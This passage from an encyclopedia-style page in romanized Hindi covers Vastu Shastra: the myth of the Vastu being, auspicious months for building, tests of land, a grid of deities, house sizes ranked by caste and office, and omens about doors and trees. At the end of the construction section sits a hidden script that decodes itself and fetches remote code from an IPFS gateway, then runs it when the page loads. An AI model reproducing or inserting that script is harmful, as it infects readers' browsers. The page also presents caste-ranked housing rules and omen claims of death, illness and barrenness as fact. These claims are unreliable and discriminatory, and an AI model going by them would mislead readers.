वास्तु शास्त्र

30px yah lekh pauranik granthoan athava manyataoan par adharit hai at: isamean varnit samagri ke vaijnanik praman hone ka ashvasan nahian diya ja sakata. vistar mean dekhean asvikaran

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hamare granth puranoan adi mean vastu evan jyotish se sanbandhit goodh rahasyoan tatha usake sadupayog sambandhi jnan ka athah samudr vyapt hai jisake siddhantoan par chalakar manushy apane jivan ko sukhi, samriddh, shaktishali aur nirogi bana sakata hai. prabhu ki bhakti mean lin rahate hue usake bataye marg par chalakar vastusammat nirman mean rahakar aur vastuvishayak zaroori batoan ko jivan mean apanakar manushy apane jivan ko sukhi v sampann bana sakata hai. sukhi parivar abhiyan mean vastu ek svatantr ikaee ke roop mean gathit ki gayi hai aur us par gahan anusandhan jari hai. asal mean vastu se vastu vishesh ki kya sthit honi chahie. usaka vivaran prapt hota hai. shreshth vatavaran aur shreshth parinam ke lie shreshth vastu ke anusar jivanashaili aur grah ka nirman atiavashyak hai. is vidya mean vividhataoan ke bavajood vastu samyak us bhavan ko bana sakate haian. jisamean ki koee vyakti pahale se nivas karata chala a raha hai. vastu jnan vastutah bhoomi v dishaoan ka jnan hai.

vastu ke pradurbhav ki katha

bhrigu, atri, vasishth, vishvakarma, may, narad, nagnajit, bhagavan shankar, indr, brahma, kumar, nandishvar, shaunak, garg, vasudev, aniruddh, shukr tatha brihaspati- ye atharah vastushastr ke upadeshta mane gaye haian jise matsy roopadhari bhagavan ne sankshep mean manu ke prati upadesh kiya tha. prachin kal mean bhayankar andhak-vadh ke samay vikaral roopadhari bhagavan shankar ke lalat se prithvi par svedabindu gire the. usase ek bhishan evan vikaral mukhavala utkat prani utpann hua. vah aisa pratit hota tha mano satoan dvipoan sahit vasuandhara tatha akash ko nigal jayaga. tatpashchath vah prithvi par gire hue andhakoan ke rakt ka pan karane laga. is prakar vah us yuddh mean prithvi par gire hue sare rakt ka pan kar gaya. kiantu itane par bhi jab vah tript n hua, tab bhagavan sadashiv ke sammukh atyant ghor tapasya mean sanlagn ho gaya. bhookh se vyakul hone par jab vah pun: triloki ko bhakshan karane ke liye udyat hua, tab usaki tapasya se santusht hokar bhagavan shankar usase bole-

' nishpap! tumhara kalyan ho, ab tumhari jo abhilasha ho, vah var maang lo'

us prani ne shiv ji se kaha-

'dev devesh! maian tinoan lokoan ko gras lene ke liye samarth hona chahata hooan.'

is par trishooladhari shiv ji ne kaha-'aisa hi hoga'. phir to vah prani apane vishal sharir se svarg, sampoorn bhoomandal aur akash ko avaruddh karata hua prithvi par a gira, tab bhayabhit hue devataoan tatha brahma, shiv, danav, daity aur rakshasoan dvara vah stambhit kar diya gaya. us samay jisane use jahaan par akrant kar rakha tha, vah vahian nivas karane laga. is prakar sabhi devataoan ke nivas karane ke karan vah vastu nam se vikhyat hua. tab us dabe hue prani ne bhi sabhi devataoan se nivedan kiya-

'devagan! ap log mujh par prasann hoan. ap logoan dvara maian dabakar nishchal bana diya gaya hooan. bhala is prakar avaruddh kar diye jane par niche mukh kiye hue maian kis tarah kab tak sthit rah sakooanga.'

usake aisa nivedan karane par brahma adi devataoan ne kaha-

'vastu ke prasang mean tatha vaishvadev ke ant mean jo bali di jayagi, vah nishchay hi tumhara ahar hogi. vastu-shanti ke liye jo yajn hoga, vah bhi tumhean ahar ke roop mean prapt hoga. yajnotsav mean di gayi bali bhi tumhean ahar roop mean prapt hogi. vastu-pooja n karane vale bhi tumhare ahar hoange. ajnan se kiya gaya yajn bhi tumhean ahar roop mean prapt hoga.' aisa kahe jane par vah vastu namak prani prasann ho gaya. isi karan tab se shanti ke liye vastu-yajn ka pravartan hua

vastu-chakr ka varnan

sootaji kahate haian— rrishiyo! ab maian grih nirman ke us samay ka nirnay batala raha hooan, jis shubh samay ko janakar manushy ko sarvada bhavan ka arambh karana chahiye. jo manushy

1. chaitr mas mean ghar banata hai, vah vyadhi,
2. vaishakh mean ghar banane vala dhenu aur ratn tatha
3. jyeshth mean mrityu ko prapt hota hai.
4. ashadh mean naukar, ratn aur pashu samooh ki aur
5. shravan mean naukaroan ki prapti tatha
6. bhadrapad mean hani hoti hai.
7. ashvin mean ghar banane se patni ka nash hota hai.
8. kartik mas mean dhan-dhanyadi ki tatha
9. margashirsh mean shreshth bhojyapadarthoan ki prapti hoti hai.
10. paush mean choroan ka bhay aur
11. magh mas mean anek prakar ke labh hote haian, kintu agni ka bhi bhay rahata hai.
12. phalgun mean suvarn tatha anek putroan ki prapti hoti hai. is prakar samay ka phal evan bal batalaya jata hai.

griharambh

• griharambh mean ashvini, rohini, mool, tinoan uttara, mrigashira, svati, hast aur anuradha- ye nakshatr prashast kahe gaye haian.
• ravivar aur mangalavar ko chho dakar shesh sabhi din shubhadayak haian.
• vyaghat, shool, vyatipat; atigand, vishkambh, gand, parigh aur vajr-in yogoan mean griharambh nahian karana chahiye.
• shvet, maitr, mahendr, gandhav, abhijit, rauhin, vairaj aur savitr- in muhoortoan mean griharambh karana chahiye.
• chandrama aur soory ke bal ke sath-hi-sath shubh lagn ka bhi nirikshan karana chahiye.
• sarvapratham any karyoan ko chho dakar stambharopan karana chahiye. yahi vidhi prasad, koop evan bavaliyoan ke liye bhi mani gayi hai.

bhoomi ki pariksha

• pahale bhoomi ki pariksha kar phir bad mean vahaan grih ka nirman karana chahiye. shvet, lal, pili aur kali- in char varnoan vali prithivi kramash: brahmanadi charoan varnoan ke liye prashansit mani gayi hai.
• isake bad usake svad ki pariksha karani chahiye. brahman ke liye madhur svad vali, kshatriy ke liye k davi, vaishy ke liye tikt tatha shoodr ke liye kasaili svad vali prithvi uttam mani gayi hai. tattpashchath bhoomi ki pun: pariksha ke liye ek hath gahara gaddha khodakar use sab or se bhali-bhaanti lip-potakar svachchh kar de. phir ek kachche purave mean ghi bharakar usamean char battiyaan jala de aur use usi gaddhe mean rakh de. un battiyoan ki lau kramash: charoan dishaoan ki or hoan yadi poorv disha ki batti adhik kal tak jalati rahe to brahman ke liye usaka phal shubh hota hai.

isi prakar kramash: uttar, pashchim aur dakshin ki battiyoan ko kshatriy, vaishy evan shoodroan ke liye kalyanakarak samajhana chahiye. yadi vah vastu dipak charoan dishaoan mean jalata rahe to prasad evan sadharan grih-nirman ke liye vahaan ki bhoomi sabhi varnoan ke liye shubhadayini hai. ek hath gahara gaddha khodakar use usi mitti se poorn karate samay is prakar pariksha kare ki yadi mitti shesh rah jaye to shri ki prapti hoti hai, nyoon ho jay to hani hoti hai tatha sam rahane se samabhav hota hai. athava bhoomi ko hal dvara jutavakar usamean sabhi prakar ke bij bo de. yadi ve bij tin, paanch tatha sat ratoan mean aankurit ho jate haian to unake phal is prakar janane chahiye. tin rat vali bhoomi uttam, paanch rat vali bhoomi madhyam tatha sat rat vali kanishth hai. kanishth bhoomi ko sarvatha tyag dena chahiye. is prakar bhoomi pariksha kar panchagavy aur aushadhiyoan ke jal se bhoomi ko sianch de aur suvarn ki salaee dvara rekha khianchakar ikyasi koshth banave.

koshth banane ka dhang is prakar hai- pishtak se chup de hue soot se das rekhaean poorv se pashchim tatha das rekhaean uttar se dakshin ki or khianche. sabhi prakar ke vastu-vibhagoan mean is nav-nav (9x9=81) arthat ikyasi koshth ka vastu banana chahiye. vastushastr ko janane vala sabhi prakar ke vastu sambandhi karyoan mean isaka upayog kare.

konoan ka jnan

manushy ko eeshan adi konoan mean havishy dvara devataoan ki pooja karani chahiye.

shikhi, parjany, jayant, indr, soory, saty, bhrish, antariksh, vayu, poosha, vitath, brihatkshat, yam, gandharv, bhriangaraj, mrig, pitrigan, dauvarik, sugriv, pushpadant, jaladhip, asur, shosh, pap, rog, ahi, mukhy, bhallat, som, sarp, atidi aur diti

ye battis bahy devata haian. buddhiman purush ko eeshan adi charoan konoan mean sthit in devataoan ki pooja karani chahiye. ab vastu chakr ke bhitari devataoan ke nam suniye-ap, savitr, jay, rudr- ye char charoan or se tatha madhy ke nau koshthoan mean brahma aur unake samip any ath devataoan ki bhi pooja karani chahiye. (ye sab milakar madhy ke terah devata hote haian.) brahma ke charoan or sthit ye ath devata, jo kramash: poorvadi dishaoan mean do-do ke kram se sthit rahate haian, sadhy nam se kahe jate haian. unake nam suniye—

aryama, savita, vivasvan, vibudhadhip, mitr, rajayakshma, prithvidhar tatha athavean apavats. ap, apavats, parjany, agni tatha diti- ye paanch devataoan ke varg haian. unake bahar bis devata haian jo do padoan mean rahate haian. aryama, vivasvan, mitr aur prithvidhar-ye char brahma ke charoan or tin-tin padoan mean sthit rahate haian.

devoan ke vanshoan ka vivaran

ab maian unake vanshoan ko prithakh-prithakh sankshep mean kah raha hooan. vayu se lekar rogaparyant, pitrigan se shikhiparyant, mukhy se bhrishaparyant, shosh se vitathaparyant, sugriv se aditiparyant tatha mrig se parjanyaparyant- ye hi vansh kahe jate haian. kahian-kahian mrig se lekar jayaparyant vansh kaha gaya hai. pad ke madhy mean inaka jo sampat hai, vah pad, madhy tatha sam nam se prasiddh hai. trishool aur konagami marmasthal kahe jate haian, jo sarvada stambhajanyas aur tula ki vidhi mean varjit mane gaye haian. manushy ke liye yatnapoorvak devata ke padoan par kilean ga dana, jooanthan phaiankana tatha chotean pahuanchana varjit hai. yah vastu-chakr, sarvatr pitrivargiy vaishvanar ke adhir mana gaya hai. usake mastak par agni aur mukh mean jal ka nivas hai, donoan skandhoan par prithvidhar tatha aryama adhishthit haian. buddhiman ko vaksh:sthal par apavats ki pooja karani chahiye. netroan mean diti aur parjany tatha kanoan mean aditi aur jayant haian. kandhoan par sarp aur indr ki prayatnapoorvak pooja karani chahiye.

isi prakar bahuoan mean soory aur chandrama se lekar paanch-paanch devata sthit haian. rudr aur rajayakshma- ye donoan bayean hath par avasthit haian. usi prakar savitr aur savita dahine hath par sthit haian. vivasvan aur mitr- ye udar mean tatha poosha aur papayakshma- ye hathoan ke manibandhoan mean sthit haian. usi prakar asur aur shosh- ye bayean parshv mean tatha dahine parshv mean vitath aur brihatkshat sthit haian. ooroo bhagoan par yam aur varun, ghutanoan par gandharv, aur pushpak, donoan janghoan par kramash: bhriang aur sugriv, donoan nitamboan par dauvarik aur mrig, liang sthan par jay aur shakr tatha pairoan par pitrigan sthit haian madhy ke nau padoan mean, jo hriday kahalata hai, brahma ki pooja hoti hai.

brahma ne prasad ke nirman mean chauansath padoan vale vastu ko shreshth batalaya haian usake char padoan mean brahma tatha unake konoan mean apavats, savita adi ath devagan sthit haian. vastu ke bahar vale konoan mean bhi agni adi ath devataoan ka nivas hai tatha do padoan mean jayant adi bis devata sthit haian. is prakar chauansath pad vale vastu chakr mean devataoan ki sthiti batalayi gayi haian griharambh ke samay grihapati ke jis aang mean khujali jan p de, mahal tatha bhavan mean vastu ke usi aang par g di huee shaly ya kil ko nikal dena chahiye; kyoanki shaly sahit grih bhayadayak aur shalyarahit kalyanakarak hota hai. vastu ka adhik evan hin aang ka hona sarvatha tyajy hai. isi prakar nagar, gram aur desh- sabhi jagah par in doshoan ka parityag karana chahiye.

vastu shastr ke antargat rajaprasad adi ki nirman-vidhi

soot ji kahate haian—

rrishiyo! ab maian chatu:shal trishal, dvishal adi) bhavanoan ke svaroop, unake vishisht namoan ke sath batala raha hooan. jo chatu:shal charoan or bhavan, dvar tatha baramadoan se yukt ho, use 'sarvatobhadr' kaha jata hai. vah dev-mandir tatha rajabhavan ke liye mangalakarak hota hai. vah chatu:shal yadi pashchim dvar se hin ho to 'nandyavart', dakshin dvar se hin ho to 'vardhaman', poorv dvar se rahit ho to 'svastik' , uttar dvar se vihin ho to 'roochak' kaha jata hai.

ab trishal bhavanoan ke bhed batalate haian.:-

uttar disha ki shala se rahit jo trishal bhavan hota hai, use 'dhanyak' kahate haian. vah manushyoan ke liye kalyan evan vriddhi karane vala tatha anek putr roop phal dene vala hota hai. poorv ki shala se vihin trishal bhavan ko 'sukshetr' kahate haian. vah dhan, yash aur ayu pradan karane vala tatha shok-moh ka vinashak hota hai. jo dakshin ki shala se vihin hota hai, use 'vishal' kahate haian. vah manushyoan ke kul ka kshay karane vala tatha sab prakar ki vyadhi aur bhay dene vala hota hai. jo pashchimashala se hin hota hai, usaka nam 'pakshaghn' hai, vah mitr, bandhu aur putroan ka vinashak tatha sab prakar ka bhay utpann karane vala hota hai.

ab 'dvishaloan' ke bhed kahate haian:-

dakshin evan pashchim- do shalaoan se yukt bhavan ko dhanadhanyaprad kahate haian. vah manushyoan ke liye kalyan ka vardhak tatha putr prad kaha gaya hai. pashchim aur uttarashala vale bhavan ko 'yamasoory' namak shal janana chahiye. vah manushyoan ke liye raja aur agni se bhayadayak aur kul ka vinashak hota hai. jis bhavan mean keval poorv aur uttar ki hi do shalaean hoan, use 'dand' kahate haian. vah akalamrityu tatha shatrupaksh se bhay utpann karane vala hota hai. jo poorv aur dakshin ki shalaoan se yukt dvishal bhavan ho, use 'dhan' kahate haian. vah manushyoan ke liye shastr tatha parajay ka bhay utpann karane vala hota hai. isi prakar keval poorv tatha pashchim ki or bana hua 'chulli' namak dvishalabhavan mrityu soochak hai. vah striyoan ko vidhava karane vala tatha anekoan prakar ka bhay utpann karane vala hota hai. keval uttar evan dakshin ki shalaoan se yukt dvishal bhavan manushyoan ke liye bhayadayak hota hai. at: aise bhavan ko nahian banavana chahiye. buddhimanoan ko sada siddharth aur vajr se bhinn dvishal bhavan banavana chahiye.

rajabhavan ke bhed

rajabhavan uttam adi bhed se paanch prakar ka kaha gaya hai. ek sau ath hath ke vistar vala rajabhavan uttam mana gaya hai. any char prakar ke bhavanoan mean vistar kramash: ath-ath hath kam hota jata hai; kiantu paanchoan prakar ke bhavanoan mean lambaee vistar ke chaturthaansh se adhik hoti hai. ab maian yuvaraj ke paanch prakar ke bhavanoan ka varnan kar raha hooan. usamean uttam bhavan ki chau daee kramash: chh:-chh: hath kam hoti jati hai. in paanchoan bhavanoan ki lambaee chau daee se ek tihaee adhik kahi gayi hai. isi prakar ab maian senapati ke paanch prakar ke bhavanoan ka varnan kar raha hooan. usake uttam bhavan ki chau daee chauansath hath ki mani gayi hai. any char bhavanoan ki chau daee kramash: chh:-chh: hath kam hoti jati hai. in paanchoan ki lambaee chau daee ke shashthansh se adhik honi chahiye. ab maian mantriyoan ke bhi paanch prakar ke bhavan batala raha hooan. unamean uttam bhavan ka vistar sath hath hota hai tatha any char kramash: char-char hath kam chau de hote haian. in paanchoan ki lambaee chau daee ke ashtaansh se adhik kahi gayi hai.

ab maian samant, chhote raja aur amaty (chhote mantri) logoan ke paanch prakar ke bhavanoan ko batalata hooan. inamean uttam bhavan ki chau daee a datalis hath ki honi chahiye tatha any charoan ki chau daee kramash: char-char hath kam kahi gayi hai. in paanchoan bhavanoan ki lambaee chau daee ki apeksha savaya adhik kahi gayi hai. ab shilpakar, kanchuki aur veshyaoan ke paanch prakar ke bhavanoan ko suniye. in sabhi bhavanoan ki chau daee atthaees hath kahi gayi haian any charoan bhavanoan ki chau daee mean kramash: do-do hath ki nyoonata hoti hai. lambaee chau daee se duguni kahi gayi hai.

paanch prakar ke bhavan

ab maian dooti-karm karane valoan tatha parivar ke any logoan ke paanch prakar ke bhavanoan ko batala raha hooan. unaki chau daee barah hath ki tatha lambaee usase savaya adhik hoti hai. shesh char grihoan ki chau daee kramash: adha-adha hath nyoon hoti hai. ab maian jyotishi, guru, vaidy, sabhapati aur purohit- in sabhi ke paanch yaprakar ke bhavanoan ka varnan kar raha hooan. unake uttam bhavan ki chau daee chalis hath ki hoti hai. shesh ki kram se char-char hath ki kam hoti hai. in paanchoan bhavanoan ki lambaee chau daee ke shashthansh se adhik hoti hai.

ab phir sadharanataya charoan varnoan ke liye paanch prakar ke grihoan ka varnan karata hooan. unamean brahman ke ghar ki chau daee battis hath ki honi chahiye. any jatiyoan ke liye kramash: char-char hath ki kami honi chahiye. kintu solah hath se kam ki chau daee se dashaansh, kshatriy ke ghar ki ashtamaansh, vaishy ke ghar ki tihaee aur shoodr ke ghar ki chauthaee bhag adhik honi chahiye. yahi vidhi shreshth mani gayi hai.

senapati aur raja ke grihoan ke bich mean raja ke rahane ka grih banana chahiye. usi sthan par bhandagar bhi rahana chahiye. senapati ke tatha charoan varnoan ke griho ke madhy bhag mean sarvada raja ke poojy logoan ke nivasarth grih banavana chahiye. isake atirikt vibhinn jatiyoan ke liye evan vanecharoan ke liye shayan karane ka ghar pachas hath ka banavana chahiye. senapati aur raja ke grih ke pariman mean sattar ka yog karake chaudah ka bhag dene par vyas mean shala ka nyas kaha gaya hai. usamean paiantis hath par baramade ka sthan kaha gaya hai. chhattis hath sat aangul lambi brahman ki b di shala honi chahiyean usi prakar das aangul adhik kshatriy ki shala honi chahiye.

vaishy ke liye paiantis hath terah aangul lambi shala honi chahiye. utane hi hath tatha pandrah aangul shoodr ki shala ka pariman hai. shala ki lambaee ke tin bhag par yadi samane ki or gali bani ho to vah 'soshnish' namak vastu hai. pichhe ki or gali ho to vah 'shreyochchhray' kahalata hai. yadi donoan parshvoan mean vithika ho to vah 'savashtambh' tatha charoan or vithika ho to 'susthit'namak vastu kaha jata hai. ye charoan prakar ki vithiyaan charoan varnoan ke liye mangaladayi haian. shala ke vistar ka solahavaan bhag tatha char hath- yah pahale khand ki ooanchaee ka man hai. adhik ooancha karane se hani hoti hai. usake bad any sabhi khandoan ki ooanchaee barahavean bhag ke barabar rakhani chahiye. yadi pakki eetoan ki divar banayi ja rahi ho to grih ki chau daee ke solahavean bhag ke pariman ke barabar motaee honi chahiye. vah dival lak di tatha mitti se bhi banayi ja sakati hai. sabhi vastuoan mean bhitar ke man ke anusar lambaee-chau daee ka man shreshth mana gaya hai. grih ke vyas se pachas aangul vistar tatha atharah aangul vedh se yukt dvar ki chau daee rakhani chahiye aur usaki ooanchaee chau daee jitane hathoan ki ho utane hi aangul un shakhaoan ki motaee honi chahiye- yahi sabhi vastuvidya ke jnataoan ne bataya haian dvar ke oopar ka kalash (burj) tatha niche ki dehali (chaukhat)- ye donoan shakhaoan se adhe adhik mote hoan, arthat inhean shakhaoan se dyodha mota rakhana chahiye.

vastu vishayak vedh ka vivaran

sootaji kahate haian- rrishiyo! ab maian stambh ke pariman ke vishay mean batala raha hooan. buddhiman purushoan ko chahiye ki ve apane grih ke ooanchaee ke man ko sat se gunakar usake assivean bhag ke barabar khambhe ki motaee rakhean. usaki motaee mean nau se guna kar assivean bhag ke barabar khambhe ka mool bhag rakhana chahiye. char kon vala stambh 'roochak', ath konavala 'pralinak' kaha jata hai. madhy pradesh mean jo khambha vrittakar rahata hai, use 'vritt' kaha gaya hai. ye paanch prakar ke stambh sabhi prakar ke vastu-kary mean prashansaniy kahe gaye haian. ye sabhi stambh padm, valli, lata, kumbh, patr evan darpan se chitrit rahane chahiye.

in kamaloan tatha kumbhoan mean stambh ke navean aansh ke barabar antar rahana chahiye. stambh ke barabar ooanchaee ko 'tula' tatha usase nyoon ko 'upatula' kahate haian. man ke tritiy ya chaturth bhag se hin jo tula hai, vahi 'upatula' hai. yah upatula sabhi bhoomiyoan mean rahati hai. sabhi vas-grihoan mean dahini or pravesh dvar rakhana chahiye. ab maian grih ke jo prashast dvar haian, unhean batala raha hooan. poorv disha mean indr aur jayant dvar sabhi grihoan mean shreshth mane gaye haian. buddhiman log dakshin dvaroan mean yamy aur vitathako shreshth manate haian. pashchim dvaroan mean pushpadant aur varun prashansit haian. uttar dvaroan mean bhallat tatha saumy shubhadayak hote haian. sabhi vastuoan mean dvaravedh ko bachana chahiye. gali, s dak ya marg dvara dvar-vedh hone par poore kul ka kshay ho jata hai. vriksh ke dvara vedh hone par dvesh ki adhikata hoti hai. kich d se vedh hone par shok hota hai aur koop dvara vedh hone par avashy hi sada ke liye miragi ka rog hota hai. nabadan ya jalapravah se vedh hone par vyatha hoti hai, kil se vedh hone par agni bhay hota hai, devata se viddh hone par vinash tatha stambh se viddh hone par stri dvara klesh ki prapti hoti hai. ek ghar se doosare ghar mean vedh p dane par grihapati ka vinash hota hai tatha apavitr dravyadi dvara vedh hone par ghar ki svamini bandhya ho jati hai. antyaj ke ghar ke dvara vedh hone par hathiyar se bhay prapt hota hean grih ki ooanchaee se duguni bhoomi ki doori par vedh ka dosh nahian hota. jis ghar ke nivasiyoan ko unmad ka rog hota hai. isi prakar svayan band ho jane par kul ka nash ho jata hai- aisa vidvan log batalate haian grih ke dvar yadi apane man se adhik ooanche haian to rajabhay tatha yadi niche haian to choroan ka bhay hota hai.

dvar ke oopar jo dvar banata hai, vah yamaraj ka mukh kaha jata haian marg ke bich mean bane hue jis grih ki chau daee bahut adhik hoti hai, vah vajr ke saman shighr hi grihapati ke vinash ka karan hota hai. yadi mukhyadvar any dvaroan se nikrisht ho to vah bahut b da doshakarak hota hai. at: mukhyadvar ki apeksha any dvaroan ka b da hona shubhakarak nahian hai. ghat, shriparni aur lataoan se mooladvar ko sushobhit rakhana chahiye aur usaki nity bali, akshat aur jal se pooja karani chahiye. ghar ki poorv disha mean baragad ka vriksh sabhi prakar ki kamanaoan ko poorn karane vala hota hai. dakshin mean goolar aur pashchim mean pipal ka pe d shubhakarak hota hai. isi tarah uttar mean pak d ka pe d mangalakari hai. isase viparit disha mean rahane par ye vriksh viparit phal dene vale hote haian. ghar ke samip yadi kaante ya doodh vale vriksh, asana ka vriksh evan phaladar vriksh hoan to unase kramash: stri aur santan ki hani hoti hai. yadi koee unhean kat n sake to unake samip any shubhadayak vrikshoan ko laga de. puannag, ashok, maulasiri, shami, tilak, champa, anar, pipali, dakh, arjun, janbir, supari, katahal, ketaki, malati, kamal, chameli, mallika, nariyal, kela evan patal- in vrikshoan se sushobhit ghar lakshmi ka vistar karata hai.

vastu prakaran mean grih-nirman vidhi

sootaji kahate haian— rrishiyo! buddhiman purush uttar ki or jhuki huee ya saman bhag vali bhoomi ki pariksha kar poorv kahi gayi riti se stambh ki ooanchaee adi ka nirman karayean. buddhiman purush ko devalay, dhoort, sachiv ya chaurahe ke samip apana ghar nahian banavana chahiye; kyoanki isase du:kh shok aur bhay bana rahata hai. ghar ke charoan or tatha dvar ke sammukh aur pichhe kuchh bhumi ko chho d dena shubhakarak hai. pichhala bhag dakshinavart rahana thik hai; kyoanki vamavart vinashakarak hota hai. dakshin bhag mean ooancha rahane vala ghar 'sampoorn' vastu ke nam se abhihit kiya jata hai. vah manushyoan ki sabhi kamanaoan ko poorn karata hai. is prakar ke pradesh ko dekhakar prayatnapoorvak grih arambh karana chahiye. sarvapratham vedajn purohit shvet vastr dharan kar karigar ke sath jyotishi ke kathananusar shubh muhoort mean sabhi bijoan se yukt adhar-shila ko ratn ke oopar sthapit kare. pun: char brahmanoan dvara us stambh ki bhali-bhaanti pooja karakar use dho-poanchhakar akshat, vastr, alankar au sarvaushadhi se poojit kar poorvavat mantrochcharan, baja aur maangalik git adi ke shabd ke sath sthapit kar de. brahmanoan ko khir ka bhojan karayean aur 'vastoshpate pratijanihi' is mantr ke dvara madhu aur ghi se havan kare. vastu yajn paanch prakar ke haian-

1. sootrapat,
2. stambharopan,
3. dvaravanshochchhray (chaukhat-sthapan),
4. grihapravesh aur
5. vastu-shanti.

in sabhi mean poorvavat kary karane ka vidhan hai. eeshanakon mean sootrapat aur agnikon mean stambharopan hota hai. vastu ke padachihnoan ko banakar usaki pradakshina karani chahiye. sabhi vastu-vibhagoan mean dahine hath ki tarjani, madhyama aur aangoothe se mooanga, ratn aur suvarn ke choorn se mishrit jal dvara pad-chihn banana shreshth mana gaya hai. rakh, aangar, kashth, nakh, shastr, charm, siang, haddi, kapal- in vastuoan dvara kahian bhi vastu ke chihn nahian banana chahiye; kyoanki inake dvara banaya gaya chihn du:kh, shok aur bhay adi utpann karata hai. jis samay grihapravesh ho, us samay karigar ka bhi rahana uchit hai. stambharopan aur sootrapat ke samay poorvavat shubh evan ashubh phal dene vale shuk hote haian. yadi aise avasaroan par koee pakshi soory ki or mukh kar kathor vani bolata hai ya us samay grihapati apane sharir ke kisi aang par hath rakhata hai to samajh lena chahiye ki vastu ke usi par bhay pradan karane vali munashy ki haddi p di huee hai.

sootr aankit kar dene ke bad yadi grihapati apane kisi aang ka sparsh karata hai to vastu ke usi aang mean hathi, ashv tatha kutte ki haddiyaan haian, aisa buddhiman purush ko samajh lena chahiye. sootr ko phailate samay use shrrigal ya kutta laangh jata hai aur gadaha atyant bhayankar chitkar karata hai to thik us sthan par haddi janani chahiye. yadi sootrapat ke samay eeshan kon mean kaua mithe svar se bolata ho to vastu ke us bhag mean ya jahaan grihapati kh da hai, vahaan dhan hai- aisa janana chahiye. sootrapat ke samay yadi sootr toot jata hai to grihapati ki mrityu hoti hai. vastuvetta ko aisa samajhana chahiye ki kil ke niche ki or jhuk jane par vyadhi, aangar dikhayi p dane par unmad, kapal dikh p dane par bhay aur shankh ya ghoanghe ki haddi milane par kulaanganaoan mean vyabhichar ki sambhavana rahati hai.

bhavan-nirman ke samay karigar ke pagal ho jane par grihapati aur ghar ka vinash ho jata hai. sthapit kiye hue stambh ya kumbh ke kandhe par gir jane se grihapati ke sir mean rog hota hai tatha kalash ki chori ho jane par samooche kul ka vinash ho jata hai. kumbh ke apane sthan se chyut ho jane par grihasvami ki mrityu hoti haian tatha phoot jane par vah bandhan mean p data hai- aisa panditoan ne kaha hai. griharambh ke samay hathoan ki pariman-sankhya nasht ho jane par grihapati ka nash samajhana chahiye. bij aur oshadhiyoan se vihin hone par bhootoan se bhay hota haian at: vicharavan purush pradakshin-kram se any stambhoan ki sthapana kare; kyoanki pradakshin-kram ke bina sthapit kiye gaye stambh manushyoan ke liye bhayadayak hote haian. stambh ke upadravoan ka vinash karane vali raksha-vidhi bhi yatnapoorvak sampann karani chahiye. isake liye stambh ke oopar phaloan se yukt vriksh ki shakha dal deni chahiye. stambh uttar ya poorv ki or dhaloo hona chahiye, aspasht disha mean nahian karana chahiye. is bat ka dhyan bhavan, stambh, nivasagrih tatha dvar nirman ke samay bhi sthapan rakhana chahiye; kyoanki disha ki aspata se kul ka nash ho jata hai.

ghar ke kisi aansh ko pind se age nahian badhana chahiye. yadi badhana hi ho to sabhi disha mean badhave. poorv disha mean badhaya gaya vastu sarvada vair paida karata hai, dakshin disha ki or badhaya hua vastu mrityukari hota hai, isamean sandeh nahian hai. jo vastu pashchim ki or badhaya jata hai, vah dhanakshayakari hota hai tatha uttar ki or badhaya hua du:kh evan santap ki vriddhi karata hai. jahaan agnikon mean vriddhi hoti hai, vahaan vah agni ka bhay dene vala nairhrrityakon badhane par shishuoan ka vinashak, vayavy kon mean badhane par vat-vyadhi- utpadak, eeshan kon mean badhane par ann ke liye hanikarak hota hai. grih ke eeshan kon mean devata ka sthan aur shantigrih, agnikon mean rasoee ghar aur usake bagal mean uttar disha mean jalasthan hona chahiye. buddhaman purush sabhi ghareloo samagriyoan ko nairhrrity kon mean kare. pashuoan adi ke baandhane ka sthan aur snanagar grih ke bahar banaye. vayavy kon mean annadika sthan banaye. isi prakar karyashala bhi nivas-sthan se bahar banani chahiye. is dhang se bana hua bhavan grihapati ke liye mangalakari hota hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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